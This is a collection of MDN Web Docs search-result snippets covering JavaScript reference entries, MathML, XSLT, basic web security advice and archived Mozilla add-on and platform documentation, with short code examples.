... // "@scratchpad/2:2:3\n" } creating a typeerror try { throw new typeerror('hello', "somefile.js", 10) } catch (e) { console.log(e instanceof typeerror) // true console.log(e.message) // "hello" console.log(e.name) // "typeerror" console.log(e.filename) // "somefile.js" console.log(e.linenumber) // 10 console.log(e.columnnumber) // 0 console.log(e.stack) // "@scratchpad/2:2:9\n" } specifications specification ecmascript (ecma-262)the definition of 'typeerror' in that specification.
TypedArray.prototype.indexOf() - JavaScript
the indexof() method returns the first index at which a given element can be found in the typed array, or -1 if it is not present.
... syntax typedarray.indexof(searchelement[, fromindex = 0]) parameters searchelement element to locate in the typed array.
...if the calculated index is less than 0, then the whole typed array will be searched.
... examples using indexof var uint8 = new uint8array([2, 5, 9]); uint8.indexof(2); // 0 uint8.indexof(7); // -1 uint8.indexof(9, 2); // 2 uint8.indexof(2, -1); // -1 uint8.indexof(2, -3); // 0 specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.indexof' in that specification.
TypedArray.prototype.lastIndexOf() - JavaScript
the lastindexof() method returns the last index at which a given element can be found in the typed array, or -1 if it is not present.
... syntax typedarray.lastindexof(searchelement[, fromindex = typedarray.length]) parameters searchelement element to locate in the typed array.
...if the calculated index is less than 0, -1 is returned, i.e.
... examples using lastindexof var uint8 = new uint8array([2, 5, 9, 2]); uint8.lastindexof(2); // 3 uint8.lastindexof(7); // -1 uint8.lastindexof(2, 3); // 3 uint8.lastindexof(2, 2); // 0 uint8.lastindexof(2, -2); // 0 uint8.lastindexof(2, -1); // 3 specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.lastindexof' in that specification.
TypedArray.prototype.slice() - JavaScript
a negative index can be used, indicating an offset from the end of the sequence.
... a negative index can be used, indicating an offset from the end of the sequence.
... if (!uint8array.prototype.slice) { object.defineproperty(uint8array.prototype, 'slice', { value: function (begin, end) { return new uint8array(array.prototype.slice.call(this, begin, end)); } }); } if you need to support truly obsolete javascript engines that don't support object.defineproperty, it's best not to polyfill array.prototype methods at all, as you can't make them non-enumerable.
... examples return a portion of an existing typed array const uint8 = new uint8array([1,2,3]); uint8.slice(1); // uint8array [ 2, 3 ] uint8.slice(2); // uint8array [ 3 ] uint8.slice(-2); // uint8array [ 2, 3 ] uint8.slice(0,1); // uint8array [ 1 ] specifications specification ecmascript (ecma-262)the definition of '%typedarray%.prototype.slice' in that specification.
TypedArray.prototype.sort() - JavaScript
the sort() method sorts the elements of a typed array numerically in place and returns the typed array.
... this method has the same algorithm as array.prototype.sort(), except that sorts the values numerically instead of as strings.
... let numbers = new uint8array([40, 1, 5, 200]); numbers.sort(); // uint8array [ 1, 5, 40, 200 ] // unlike plain arrays, a compare function is not required // to sort the numbers numerically.
... // regular arrays require a compare function to sort numerically: numbers = [40, 1, 5, 200]; numbers.sort(); // [1, 200, 40, 5] numbers.sort((a, b) => a - b); // compare numbers // [ 1, 5, 40, 200 ] specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.sort' in that specification.
URIError() constructor - JavaScript
the name of the file containing the code that caused the exception.
...the line number of the code that caused the exception.
... examples catching an urierror try { decodeuricomponent('%') } catch (e) { console.log(e instanceof urierror) // true console.log(e.message) // "malformed uri sequence" console.log(e.name) // "urierror" console.log(e.filename) // "scratchpad/1" console.log(e.linenumber) // 2 console.log(e.columnnumber) // 2 console.log(e.stack) // "@scratchpad/2:2:3\n" } creating an urierror try { throw new urierror('hello', 'somefile.js', 10) } catch (e) { console.log(e instanceof urierror) // true console.log(e.message) // "hello" console.log(e.name) // "urierror" console.log(e.filename) // "somefile.js" console.log(e.linenumber) // 10 console.l...
...og(e.columnnumber) // 0 console.log(e.stack) // "@scratchpad/2:2:9\n" } specifications specification ecmascript (ecma-262)the definition of 'nativeerror constructor' in that specification.
WeakMap() constructor - JavaScript
the keys must be objects and the values can be arbitrary values.
... you can learn more about weakmaps in the section weakmap object in keyed collections.
... examples using weakmap const wm1 = new weakmap(), wm2 = new weakmap(), wm3 = new weakmap(); const o1 = {}, o2 = function() {}, o3 = window; wm1.set(o1, 37); wm1.set(o2, 'azerty'); wm2.set(o1, o2); // a value can be anything, including an object or a function wm2.set(o3, undefined); wm2.set(wm1, wm2); // keys and values can be any objects.
... wm1.get(o2); // "azerty" wm2.get(o2); // undefined, because there is no key for o2 on wm2 wm2.get(o3); // undefined, because that is the set value wm1.has(o2); // true wm2.has(o2); // false wm2.has(o3); // true (even if the value itself is 'undefined') wm3.set(o1, 37); wm3.get(o1); // 37 wm1.has(o1); // true wm1.delete(o1); wm1.has(o1); // false specifications specification ecmascript (ecma-262)the definition of 'weakmap constructor' in that specification.
WebAssembly.CompileError - JavaScript
the webassembly.compileerror object indicates an error during webassembly decoding or validation.
... examples creating a new compileerror instance the following snippet creates a new compileerror instance, and logs its details to the console: try { throw new webassembly.compileerror('hello', 'somefile', 10); } catch (e) { console.log(e instanceof compileerror); // true console.log(e.message); // "hello" console.log(e.name); // "compileerror" console.log(e.filename); // "somefile" console.log(e.linenumber); // 10 console.log(e.columnnumber); // 0 console.log(e.stack); // returns the location where the ...
...code was run } specifications specification webassembly javascript interfacethe definition of 'webassembly constructors' in that specification.
... ecmascript (ecma-262)the definition of 'nativeerror' in that specification.
WebAssembly.Global() constructor - JavaScript
this can be one of i32, i64, f32, and f64.
...this can be any value, as long as its type matches the variable's data type.
...y.instantiatestreaming(fetch('global.wasm'), { js: { global } }) .then(({instance}) => { asserteq("getting initial value from wasm", instance.exports.getglobal(), 0); global.value = 42; asserteq("getting js-updated value from wasm", instance.exports.getglobal(), 42); instance.exports.incglobal(); asserteq("getting wasm-updated value from js", global.value, 43); }); note: you can see the example running live on github; see also the source code.
... specifications specification webassembly javascript interfacethe definition of 'webassembly.global() constructor' in that specification.
WebAssembly.Global - JavaScript
global instances all global instances inherit from the global() constructor's prototype object — this can be modified to affect all global instances.
... global.prototype.value the value contained inside the global variable — this can be used to directly set and get the global's value.
...y.instantiatestreaming(fetch('global.wasm'), { js: { global } }) .then(({instance}) => { asserteq("getting initial value from wasm", instance.exports.getglobal(), 0); global.value = 42; asserteq("getting js-updated value from wasm", instance.exports.getglobal(), 42); instance.exports.incglobal(); asserteq("getting wasm-updated value from js", global.value, 43); }); note: you can see the example running live on github; see also the source code.
... specifications specification webassembly javascript interfacethe definition of 'webassembly.global()' in that specification.
WebAssembly.LinkError - JavaScript
the webassembly.linkerror object indicates an error during module instantiation (besides traps from the start function).
... examples creating a new linkerror instance the following snippet creates a new linkerror instance, and logs its details to the console: try { throw new webassembly.linkerror('hello', 'somefile', 10); } catch (e) { console.log(e instanceof linkerror); // true console.log(e.message); // "hello" console.log(e.name); // "linkerror" console.log(e.filename); // "somefile" console.log(e.linenumber); // 10 console.log(e.columnnumber); // 0 console.log(e.stack); // returns the location where the code w...
...as run } specifications specification webassembly javascript interfacethe definition of 'linkerror' in that specification.
... ecmascript (ecma-262)the definition of 'nativeerror' in that specification.
WebAssembly.Module() constructor - JavaScript
a webassembly.module() constructor creates a new module object containing stateless webassembly code that has already been compiled by the browser and can be efficiently shared with workers, and instantiated multiple times.
... the webassembly.module() constructor function can be called to synchronously compile given webassembly binary code.
... syntax important: since compilation for large modules can be expensive, developers should only use the module() constructor when synchronous compilation is absolutely required; the asynchronous webassembly.compilestreaming() method should be used at all other times.
... { imports: { imported_func: function(arg) { console.log(arg); } } }; function createwasmmodule(bytes) { return new webassembly.module(bytes); } fetch('simple.wasm').then(response => response.arraybuffer() ).then(bytes => { let mod = createwasmmodule(bytes); webassembly.instantiate(mod, importobject) .then(result => result.exports.exported_func() ); }) specifications specification webassembly javascript interfacethe definition of 'webassembly.module()' in that specification.
WebAssembly.Module.customSections() - JavaScript
most of these sections are fully specified and validated by the wasm spec, but modules can also contain custom sections that are ignored and skipped over during validation.
... (read high level structure for information on section structures, and how normal sections ("known sections") and custom sections are distinguished.) this provides developers with a way to include custom data inside wasm modules for other purposes, for example the name custom section, which allows developers to provide names for all the functions and locals in the module (like "symbols" in a native build).
... note that the webassembly text format currently doesn't have a syntax specified for adding new custom sections; you can however add a name section to your wasm during conversion from text format over to .wasm.
... webassembly.compilestreaming(fetch('simple-name-section.wasm')) .then(function(mod) { var namesections = webassembly.module.customsections(mod, "name"); if (namesections.length != 0) { console.log("module contains a name section"); console.log(namesections[0]); }; }); specifications specification webassembly javascript interfacethe definition of 'customsections()' in that specification.
WebAssembly.RuntimeError() constructor - JavaScript
filename optional the name of the file containing the code that caused the exception.
... linenumber optional the line number of the code that caused the exception.
... examples creating a new runtimeerror instance the following snippet creates a new runtimeerror instance, and logs its details to the console: try { throw new webassembly.runtimeerror('hello', 'somefile', 10); } catch (e) { console.log(e instanceof runtimeerror); // true console.log(e.message); // "hello" console.log(e.name); // "runtimeerror" console.log(e.filename); // "somefile" console.log(e.linenumber); // 10 console.log(e.columnnumber); // 0 console.log(e.stack); // returns the location where the code was run } specifications specification webassembly javascript interfacethe definition of 'webassembly.runtimeerror constructor' in that specification.
... ecmascript (ecma-262)the definition of 'nativeerror constructor' in that specification.
null - JavaScript
null is not an identifier for a property of the global object, like undefined can be.
... instead, null expresses a lack of identification, indicating that a variable points to no object.
... in apis, null is often retrieved in a place where an object can be expected but no object is relevant.
... typeof null // "object" (not "null" for legacy reasons) typeof undefined // "undefined" null === undefined // false null == undefined // true null === null // true null == null // true !null // true isnan(1 + null) // false isnan(1 + undefined) // true specifications specification ecmascript (ecma-262)the definition of 'null value' in that specification.
Conditional (ternary) operator - JavaScript
expriftrue an expression which is evaluated if the condition evaluates to a truthy value (one which equals or can be converted to true).
... expriffalse an expression which is executed if the condition is falsy (that is, has a value which can be converted to false).
...person.name : `stranger` return `howdy, ${name}` } console.log(greeting({name: `alice`})); // "howdy, alice" console.log(greeting(null)); // "howdy, stranger" conditional chains the ternary operator is right-associative, which means it can be "chained" in the following way, similar to an if … else if … else if … else chain: function example(…) { return condition1 ?
...value3 : value4; } // equivalent to: function example(…) { if (condition1) { return value1; } else if (condition2) { return value2; } else if (condition3) { return value3; } else { return value4; } } specifications specification ecmascript (ecma-262)the definition of 'conditional operator' in that specification.
Pipeline operator (|>) - JavaScript
this allows the creation of chained function calls in a readable manner.
... the result is syntactic sugar in which a function call with a single argument can be written like this: let url = "%21" |> decodeuri; the equivalent call in traditional syntax looks like this: let url = decodeuri("%21"); syntax expression |> function the value of the specified expression is passed into the function as its sole parameter.
... examples chaining function calls the pipeline operator can improve readability when chaining several functions.
... const double = (n) => n * 2; const increment = (n) => n + 1; // without pipeline operator double(increment(double(double(5)))); // 42 // with pipeline operator 5 |> double |> double |> increment |> double; // 42 specifications specification pipeline operatorthe definition of 'pipeline operator' in that specification.
Right shift (>>) - JavaScript
excess bits shifted off to the right are discarded.
...excess bits shifted off to the right are discarded.
... 9 (base 10): 00000000000000000000000000001001 (base 2) -------------------------------- 9 >> 2 (base 10): 00000000000000000000000000000010 (base 2) = 2 (base 10) likewise, -9 >> 2 yields -3, because the sign is preserved: .
... -9 (base 10): 11111111111111111111111111110111 (base 2) -------------------------------- -9 >> 2 (base 10): 11111111111111111111111111111101 (base 2) = -3 (base 10) examples using right shift 9 >> 2; // 2 -9 >> 2; // -3 specifications specification ecmascript (ecma-262)the definition of 'bitwise shift operators' in that specification.
Unary plus (+) - JavaScript
syntax operator: +x description although unary negation (-) also can convert non-numbers, unary plus is the fastest and preferred way of converting something into a number, because it does not perform any other operations on the number.
... it can convert string representations of integers and floats, as well as the non-string values true, false, and null.
...if it cannot parse a particular value, it will evaluate to nan.
... examples usage with numbers const x = 1; const y = -1; console.log(+x); // 1 console.log(+y); // -1 usage with non-numbers +true // 1 +false // 0 +null // 0 +function(val){ return val } // nan +1n // throws typeerror: cannot convert bigint value to number specifications specification ecmascript (ecma-262)the definition of 'unary plus operator' in that specification.
Unsigned right shift (>>>) - JavaScript
excess bits shifted off to the right are discarded.
...excess bits shifted off to the right are discarded.
... 9 (base 10): 00000000000000000000000000001001 (base 2) -------------------------------- 9 >>> 2 (base 10): 00000000000000000000000000000010 (base 2) = 2 (base 10) however, this is not the case for negative numbers.
... -9 (base 10): 11111111111111111111111111110111 (base 2) -------------------------------- -9 >>> 2 (base 10): 00111111111111111111111111111101 (base 2) = 1073741821 (base 10) examples using unsigned right shift 9 >>> 2; // 2 -9 >>> 2; // 1073741821 specifications specification ecmascript (ecma-262)the definition of 'bitwise shift operators' in that specification.
empty - JavaScript
syntax ; description the empty statement is a semicolon (;) indicating that no statement will be executed, even if javascript syntax requires one.
... in the following example, the usage is probably not intentional: if (condition); // caution, this "if" does nothing!
... if three is true, nothing will happen, four does not matter, and also the launchrocket() function in the else case will not be executed.
... if (one) doone(); else if (two) dotwo(); else if (three) ; // nothing here else if (four) dofour(); else launchrocket(); specifications specification ecmascript (ecma-262)the definition of 'empty statement' in that specification.
break - JavaScript
the labeled statement can be any block statement; it does not have to be preceded by a loop statement.
... a break statement, with or without a following label, cannot be used within the body of a function that is itself nested within the current loop, switch, or label statement that the break statement is intended to break out of.
... outer_block: { inner_block: { console.log('1'); break outer_block; // breaks out of both inner_block and outer_block console.log(':-('); // skipped } console.log('2'); // skipped } break in labeled blocks that throw the following code also uses break statements with labeled blocks, but generates a syntaxerror because its break statement is within block_1 but references block_2.
... function testbreak(x) { var i = 0; while (i < 6) { if (i == 3) { (function() { break; })(); } i += 1; } return i * x; } testbreak(1); // syntaxerror: illegal break statement block_1: { console.log('1'); ( function() { break block_1; // syntaxerror: undefined label 'block_1' })(); } specifications specification ecmascript (ecma-262)the definition of 'break statement' in that specification.
class - JavaScript
you can also define a class using a class expression.
... note that super(), used in the constructor, can only be used in constructors, and must be called before the this keyword can be used.
... class foo {}; class foo {}; // uncaught syntaxerror: identifier 'foo' has already been declared the same error is thrown when a class has been defined before using the class expression.
... let foo = class {}; class foo {}; // uncaught syntaxerror: identifier 'foo' has already been declared specifications specification ecmascript (ecma-262)the definition of 'class definitions' in that specification.
import.meta - JavaScript
examples using import.meta given a module my-module.js <script type="module" src="my-module.js"></script> you can access meta information about the module using the import.meta object.
... console.log(import.meta); // { url: "file:///home/user/my-module.js" } it returns an object with a url property indicating the base url of the module.
... such file-specific argument passing may be complementary to that used in the application-wide location.href (with query strings or hash added after the html file path) (or on node.js, through process.argv).
... specifications specification import.meta proposal html living standardthe definition of 'import.meta' in that specification.
return - JavaScript
the return statement ends function execution and specifies a value to be returned to the function caller.
...if specified, a given value is returned to the function caller.
... to avoid this problem (to prevent asi), you could use parentheses: return ( a + b ); examples interrupt a function a function immediately stops at the point where return is called.
... function magic() { return function calc(x) { return x * 42; }; } var answer = magic(); answer(1337); // 56154 specifications specification ecmascript (ecma-262)the definition of 'return statement' in that specification.
iarc_rating_id - Web app manifests
type string mandatory no the iarc_rating_id member is a string that represents the international age rating coalition (iarc) certification code of the web application.
... it is intended to be used to determine which ages the web application is appropriate for.
... note: the same code can be shared across multiple participating storefronts, as long as the distributed product remains the same (i.e., doesn’t serve totally different code paths on different storefronts).
... examples "iarc_rating_id": "e84b072d-71b3-4d3e-86ae-31a8ce4e53b7" specification specification status comment feedback web app manifestthe definition of 'iarc_rating_id' in that specification.
<mfenced> - MathML
the deprecated mathml <mfenced> element used to provide the possibility to add custom opening and closing parentheses (such as brackets) and separators (such as commas or semicolons) to an expression.
...you can use #rgb, #rrggbb and html color names.
...you can use #rgb, #rrggbb and html color names.
...h> <mfenced open="{" close="}" separators=";;,"> <mi>a</mi> <mi>b</mi> <mi>c</mi> <mi>d</mi> <mi>e</mi> </mfenced> </math> all excess is ignored (,) sample rendering: rendering in your browser: a b c d e <math> <mfenced open="[" close="]" separators="||||,"> <mi>a</mi> <mi>b</mi> <mi>c</mi> <mi>d</mi> <mi>e</mi> </mfenced> </math> specifications the <mfenced> element is no longer part of the latest mathml standard.
<mphantom> - MathML
you can use #rgb, #rrggbb and html color names.
... examples sample rendering: rendering in your browser: x + y + z <math> <mrow> <mi> x </mi> <mo> + </mo> <mphantom> <mi> y </mi> <mo> + </mo> </mphantom> <mi> z </mi> </mrow> </math> specifications specification status comment mathml 3.0the definition of 'mphantom' in that specification.
... recommendation current specification mathml 2.0the definition of 'mphantom' in that specification.
... recommendation initial specification ...
Web technology reference
the open web is based on a number of technologies which, together, can be used to create everything from simple sites to powerful web applications.
... html — structuring the web hypertext markup language is used to define and describe semantically the content (markup) of a web page in a well-structured format.
... html provides a means to create structured documents made up of blocks called html elements that are delineated by tags, written using angle brackets.
... introduction to html | learn html | html5 | developer guide | element reference | reference css — styling the web cascading style sheets are used to describe the appearance of web content.
Information Security Basics - Web security
a basic understanding of information security can help you avoid unnecessarily leaving your software and sites insecure and vulnerable to weaknesses that can be exploited for financial gain or other malicious reasons.
... these articles can help you learn what you need to know.
... with this information, you can be aware of the role and importance of security throughout the web development cycle and beyond into deployment of your content.
... confidentiality, integrity, and availability describes the primary security objectives, which are absolutely fundamental to understanding security security controls defines major categories of security controls and discusses their potential disadvantages tcp/ip security an overview of the tcp/ip model, with a focus on the security considerations for ssl threats briefly introduces major threat concepts vulnerabilities defines the major categories of vulnerabilities and discusses the presence of vulnerabilities in all software ...
Insecure passwords - Web security
serving login forms over http is especially dangerous because of the wide variety of attacks that can be used against them to extract a user’s password.
... the https protocol is designed to protect user data from eavesdropping (confidentiality) and from modification (integrity) on the network.
... to fix this issue, install and configure an ssl/tls certificate onto your server.
... there are various vendors offering free and paid certificates.
How to fix a website with blocked mixed content - Web security
passive mixed content is displayed by default, but users can set a preference to block this type of content, as well.
... in any case, the best way to know if something is broken in firefox is to download the latest firefox edition, open different pages on your website with the web console open (enable the "security" messages) and see if anything related to mixed content is reported.
... however, in some cases, the path may just be incorrect to the media in question.
...if https is not available, you can try contacting the domain and asking them if they can make the content available via https.
current - XPath
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the current function can be used to get the context node in an xslt instruction.
...the following two are symantically equivalent.
...moreover, the latter two are semantically equivalent.
... <xsl:value-of select="current()"/> <xsl:value-of select="foo/bar[current() = x]"/> <xsl:variable name="current" select="current()"/> <xsl:value-of select="foo/bar[$current = x]"/> and the next code is also semantically equivalent to the latter two, since the .
<xsl:output> - XSLT: Extensible Stylesheet Language Transformations
WebXSLTElementoutput
to function correctly in netscape, this element, with the method attribute, must be used.
... omit-xml-declaration indicates whether or not to include an xml declaration in the output.
... standalone (not supported.) if present, indicates that a standalone declaration should occur in the output document and gives its value.
... indent (not supported.) specifies if the output should be indented to indicate its hierarchic structure.
<xsl:variable> - XSLT: Extensible Stylesheet Language Transformations
WebXSLTElementvariable
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the <xsl:variable> element declares a global or local variable in a stylesheet and gives it a value.
... because xslt permits no side-effects, once the value of the variable has been established, it remains the same until the variable goes out of scope syntax <xsl:variable name=name select=expression > template </xsl:variable> required attributes name gives the variable a name.
...if it occurs as a top-level element, the variable is global in scope, and can be accessed throughout the document.
... if it occurs within a template, the variable is local in scope, accessible only within the template in which it appears.
Introduction - XSLT: Extensible Stylesheet Language Transformations
introduction with modern browsers supporting xslt, developers can now use javascript to access the power that xslt provides.
... javascript can enable a web application to load xml data, process it via xslt into a presentable form and then add it into an existing document.
... since the xml data loaded only contains the raw information without any presentation data, it can load quickly even on dialup.
...they are not available in netscape 7.0x however are available in netscape 7.1.
Window: userproximity event - Archive of obsolete content
the userproximity event is fired when fresh data is available from a proximity sensor (indicates whether the nearby object is near the device or not).
... bubbles no cancelable no interface userproximityevent target defaultview (window) default action none event handler property window.onuserroximity specification proximity sensor note: this event has been disabled by default in firefox 62, behind the device.sensors.proximity.enabled preference (bug 1462308).
... specifications specification status proximity sensorthe definition of 'proximity events' in that specification.
Release notes - Archive of obsolete content
added predicatecontext to sdk/context-menu.
... deprecated widget in favor of the new ui modules.
... firefox 28 highlights added wildcard event type "*".
Annotator - Archive of obsolete content
deprecated in firefox 29 and removed in firefox 38.
... the widget api is deprecated from firefox 29 onwards.
... if you want to refer to the complete add-on you can find it under the examples directory in the sdk.
Open a Web Page - Archive of obsolete content
to open a new web page, you can use the tabs module: var tabs = require("sdk/tabs"); tabs.open("http://www.example.com"); this function is asynchronous, so you don't immediately get back a tab object which you can examine.
... to do this, pass a callback function into open().
... the callback is assigned to the onready property, and will be passed the tab as an argument: var tabs = require("sdk/tabs"); tabs.open({ url: "http://www.example.com", onready: function onready(tab) { console.log(tab.title); } }); even then, you don't get direct access to any content hosted in the tab.
Using XPCOM without chrome - Archive of obsolete content
using sdk xpcom with the low-level module sdk/platform/xpcom , it's possible to exclude chrome and xpcomutils in some cases.
... however, with the sdk module , we can remove this need.
...we can then create an object from it and add it as an observer to the bookmarks service.
LookupNamespaceURI - Archive of obsolete content
however, due to bug 312019, this method does not work with dynamically assigned namespaces (e.g., those set with node.prefix).
... return lookupnamespaceurihelper(this, prefix); } function lookupnamespaceurihelper (node, prefix) { // adapted directly from http://www.w3.org/tr/dom-level-3-core/namespaces-algorithms.html#lookupnamespaceurialgo var i, att, htmlmode = document.contenttype, // mozilla only xmlnspattern = /^xmlns:(.*)$/; switch (node.nodetype) { case 1: // element_node (could also just test for node.element_node, etc., if supported in all browsers) if (node.namespaceuri != null && node.prefix === prefix) { // note: prefix could be "null" in the case we are looking for default namespace return node.namespaceuri; } if (node.attributes.length) { ...
... return null; // unknown } } } if (node.parentnode && node.parentnode.nodetype !== 9) { // entityreferences may have to be skipped to get to it return lookupnamespaceurihelper(node.parentnode, prefix); } return null; case 9: // document_node return lookupnamespaceurihelper(node.documentelement, prefix); case 6: // entity_node case 12: // notation_node case 10: // document_type_node case 11: // document_fragment_node return null; // unknown case 2: // attribute_node if (node.ownerelement) { ...
LookupPrefix - Archive of obsolete content
ces-algorithms.html#lookupnamespaceprefixalgo // (the above had a few apparent 'bugs' in the pseudo-code which were corrected here) if (node.lookupprefix && htmlmode !== 'text/html') { // shouldn't use this in text/html for mozilla as will return null return node.lookupprefix(namespaceuri); } if (namespaceuri === null || namespaceuri === '') { return null; } switch (node.nodetype) { case 1: // node.element_node return _lookupnamespaceprefix(namespaceuri, node); case 9: // node.document_node return _lookupnamespaceprefix(namespaceuri, node.documentelement); case 6: // node.entity_node case 12: // node.notation_node case 11: // node.document_fragment_node case 10: // node.document_type_node return null; // type is unknown case 2: // node.attribute_node if...
...ment.namespaceuri === namespaceuri && originalelement.prefix && originalelement.lookupnamespaceuri(originalelement.prefix) === namespaceuri) { return originalelement.prefix; } if (originalelement.attributes && originalelement.attributes.length) { for (var i=0; i < originalelement.attributes.length; i++) { var att = originalelement.attributes[i]; xmlnspattern.lastindex = 0; var localname = att.localname || att.name.substr(att.name.indexof(':')+1); // latter test for ie which doesn't support localname if (localname.indexof(':') !== -1) { // for firefox when in html mode localname = localname.substr(att.name.indexof(':')+1); } if ( xmlnspattern.test(att.name) && att.value === namespaceuri && lookupnamespaceuri(originalelement, localname) === namespaceu...
...ri ) { return localname; } } } if (originalelement.parentnode) { // entityreferences may have to be skipped to get to it return _lookupnamespaceprefix(namespaceuri, originalelement.parentnode); } return null; } ...
Delayed Execution - Archive of obsolete content
queuing a task in the main event loop when a task needs to be only briefly delayed, such that it runs after the current call chain returns, it can be added directly to the main thread's event queue rather than scheduled as a timeout: function executesoon(func) { services.tm.mainthread.dispatch(func, ci.nsithread.dispatch_normal); } using nsitimers to schedule tasks in instances where settimeout() and setinterval() are unavailable, or insufficient, tasks can be scheduled with delays using nsitimer instances.
... note: if an nsitimer is garbage collected, it will be deactivated and its callbacks will not fire.
... some example usages include: const timer = components.constructor("@mozilla.org/timer;1", "nsitimer", "initwithcallback"); function delay(timeout, func) { let timer = new timer(function () { // remove the reference so that it can be reaped.
xml:base support in old browsers - Archive of obsolete content
however, it is working in some of the cases tested.
...n xmlbase += '/'; } else if (xmlbase.match(/\/$/) && xlink.match(/\/$/)) { xmlbase = xmlbase.substring(0, xmlbase.length-2); // strip off last slash to join with xlink path with slash } // alert(xmlbase + '::' + xlink); } var link = xmlbase + xlink; if (!link.match(scheme)) { // if there is no domain, we'll need to use the current domain var loc = window.location; if (link.indexof('/') === 0 ) { // if link is an absolute url, it should be from the host only link = loc.protocol + '//' + loc.host + link; } else { // if link is relative, it should be from full path, minus the file var dirpath = loc.pathname.substring(0, loc.pathname.lastindexof('/')-1); if (link.lastindexof('/') !== link.length-1) { link += '/'; } link = loc.prot...
... // var ns = 'http://www.w3.org/xml/1998/namespace'; var att, protocolpos; var xmlbase = ''; var abs = false; // avoid loop if node is not present if (!thisitem || !thisitem.nodename) { return xmlbase; } // check present element and higher up for xml:base // now check for the next matching local name up in the hierarchy (until the document root) while (thisitem.nodename !== '#document' && thisitem.nodename !== '#document-fragment') { att = thisitem.getattribute('xml:base'); // xml: namespaces must use 'xml' prefix if (att) { protocolpos = att.indexof('//'); var protocolmatch = att.match(scheme); if (protocolmatch) { // if has protocol, can stop if (abs) { var ski...
Default Preferences - Archive of obsolete content
setting default preferences while most of an extension's directories can be named arbitrarily and mapped using a chrome manifest, default preferences must be in very particular spot: | extension root +--|content +--|skin +--|defaults +--|preferences to add preferences simply drop a .js file into that directory and mozilla will read it and set the appropriate preferences.
...you may not set variables inside of it, nor may do any kind of program flow control (ifs, loops etc.) nor even calculated values (i.e.
...doing so will cause mozilla to stop processing your preferences file without any notification, warning, error, or exception.
Offering a context menu for form controls - Archive of obsolete content
this article describes how an extension can override this change in a particular window, enabling context menus to work on form controls.
... this article presents information based on ehsan akhgari's form control context menu extension, which was created specifically to demonstrate how to do this.
... <overlay id="formcontrolcontextmenu-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascript" src="chrome://formcontrolcontextmenu/content/overlay.js"/> </overlay> change the right-click behavior the overlaid code is responsible for adjusting the behavior of right-clicking on form controls.
Bypassing Security Restrictions and Signing Code - Archive of obsolete content
early versions of firefox allowed web sites to segregate principals using signed scripts, and request extra permissions for scopes within signed scripts using a function called enableprivelege.
... the privilege manager has been deprecated in firefox 12 and disabled in firefox 17.
... sites that require additional permissions should now ask firefox users to install an extension, which can interact with non-privileged pages if needed.
Tinderbox - Archive of obsolete content
the tool enables mozilla.org to be immediately notified of changes to the code that prevent mozilla from compiling and running (or compromise performance and footprint) so they can get someone to fix the problem or reverse the changes.
... mozilla engineers regularly check tinderbox before changing the code because changes are prohibited while the codebase is broken.
...different platforms), most people only care about the overall situation, i.e.
Creating a hybrid CD - Archive of obsolete content
many mozilla files have long file names which makes creating the cd on a macintosh difficult because the hfs filesystem limits the length of file names to 32 characters.
...the creator "moss" is for netscape 4.x and "mozz" is used for mozilla.
... it is used as the creator type for readme and other text files because it can handle unix and windows linebreaks, but teachtext cannot.
Download Manager improvements in Firefox 3 - Archive of obsolete content
in addition, you can augment or replace the download manager's user interface by implementing the new nsidownloadmanagerui interface.
... download manager interfaces nsidownloadmanager gives applications and extensions access to the download manager, allowing them to add and remove files to the download list, retrieve information about past and present downloads, and request notifications as to the progress of downloads.
... nsidownloadprogresslistener applications and extensions implement this interface to be made aware of changes in the status of downloads.
Content states and the style system - Archive of obsolete content
to this end, when a <code>contentstateschanged</code> notification is dispatched for a content node the first thing that's done is to is to check whether the content state change something could affect any styles.
... the way we determine whether the selector might have stopped or started matching the node is by just checking whether it matches with the caveat that all the state-dependent pseudo-classes corresponding to the states that changed must be treated as matching (whether they actually do and whether they're negated or not).
... this is needed to catch both selectors that now match and selectors that no longer match.
Syncing custom preferences - Archive of obsolete content
when preferences sync is enabled, firefox sync will synchronize preferences between the same application based on a whitelist.
...for example, if your add-on had a pref called extension.frobnaz.foobar, to have it synced, create a bool preference called services.sync.prefs.sync.extension.frobnaz.foobar and set it to true.
... the most convenient place for this would be your add-on's default preferences, though if you want to give the user a choice to opt-in, you can also do it programmatically.
GRE Registration - Archive of obsolete content
windows on windows, gre registration information is kept in the win32 registry under the hkey_local_machine/software/mozilla.org/gre and hkey_current_user/software/mozilla.org/gre keys.
... linux on linux, registration information is kept in ini-style files of the following form: [1.7.10] gre_path=/usr/lib/mozilla-1.7.10 feature=value feature2=value2 these ini files can be in any of the following locations: /etc/gre.conf /etc/gre.d/*.conf ~/.gre.conf ~/.gre.d/*.conf mozilla has never officially shipped a linux gre based on the mozilla suite.
...the <tt>-register-global</tt> flag has special fallback semantics so that multiple xulrunners of the same version can be installed without overwriting registration files.
Help Viewer - Archive of obsolete content
naturally, then, everyone needs a little help now and then, and getting that help to the user is critical to making applications useful.
...mozilla's help viewer makes providing documentation an easy job, and this document will describe how you can use it.
... help viewer project page articles & tutorials creating a help content pack task-oriented, as opposed to spec-type stuff like the link below will be other resources content pack specification a technical description of it, meant primarily to solidify the idea of exactly what constitutes a content pack ...
popChallengeResponse - Archive of obsolete content
deprecatedthis feature has been removed from the web standards.
... "error:internalerror" the software encountered some internal error, such as out of memory challenge-response proof of possession expected input: popodeckeychallcontent ::= sequence of challenge -- one challenge per encryption key certification request (in the -- same order as these requests appear in fullcerttemplates).
...quest is being made) of rand, where rand is specified as -- rand ::= sequence { -- int integer, -- - the randomly-generated integer a (above) -- senderhash octet string -- - the result of applying the one-way function (owf) to -- - the sender's general name -- } -- the size of "int" must be small enough such that "rand" can be -- contained within a single pkcs #1 encryption block.
Enabling Experimental Jetpack Features - Archive of obsolete content
in python, you can call from __future__ import foo which adds the functionality that foo yields to the script.
... in jetpack, we propse adding a new function to the base namespace called importfromfuture.
...jetpack.future.import("clipboard"); the goal here is to be able to remove the jetpack.future.import() call when the feature has been formally accepted into the core without additionally changing the script (barring any other changes made during integration).
Enabling - Archive of obsolete content
in python, you can call from __future__ import foo which adds the functionality that foo yields to the script.
... in jetpack, we propse adding a new function to the base namespace called importfromfuture.
